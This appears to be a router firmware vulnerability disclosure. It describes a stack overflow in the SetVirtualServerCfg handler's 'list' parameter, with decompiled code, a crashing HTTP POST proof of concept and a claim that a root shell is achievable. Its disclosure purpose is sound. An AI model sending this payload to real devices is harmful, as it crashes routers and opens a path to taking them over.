

## **Vulnerability details**

First, put the content obtained from the list parameter into the V5 parameter, and then bring the V5 parameter into the sub\_ 6e3bc function

```
int __fastcall sub_6E3BC(const char *a1, char *a2, unsigned __int8 a3)

{
   int result; // r0
   char v7[4]; // [sp+1Ch] [bp-188h] BYREF
   int v8; // [sp+20h] [bp-180h] BYREF
   int v9[2]; // [sp+24h] [bp-180h] BYREF
   int v10[2]; // [sp+2Ch] [bp-178h] BYREF
   int v11[2]; // [sp+34h] [bp-170h] BYREF
   char v12[16]; // [sp+3Ch] [bp-168h] BYREF
   char v13[256]; // [sp+4Ch] [bp-158h] BYREF
   char s[64]; // [sp+14Ch] [bp-58h] BYREF
   char *v15; // [sp+18Ch] [bp-18h]
   int v16; // [sp+190h] [bp-10h]

char *v17; // [sp+194h] [bp-10h]
```

At this time, the corresponding parameter is A2

First, we will judge whether the A2 parameter is greater than 4 If it is greater than 4, the content of A2 is transmitted to V17, and then the matched content is directly formatted into the stack through sscanf. The nullable parameters are IP, port, port and 1 respectively. There are stack overflow vulnerabilities

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V15.03.2.21\_cn
- 2. Attack with the following POC attacks

```
POST /goform/SetVirtualServerCfg HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1025
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/virtual_server.html?random=0.8753049569086946&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcvls1qw
```

list=192.168.11.4,21aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaa



The reproduction results are as follows:

## Unable to connect

An error occurred during a connection to 192.168.0.1.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- . If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access
  the Web.

Try Again

## Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shel

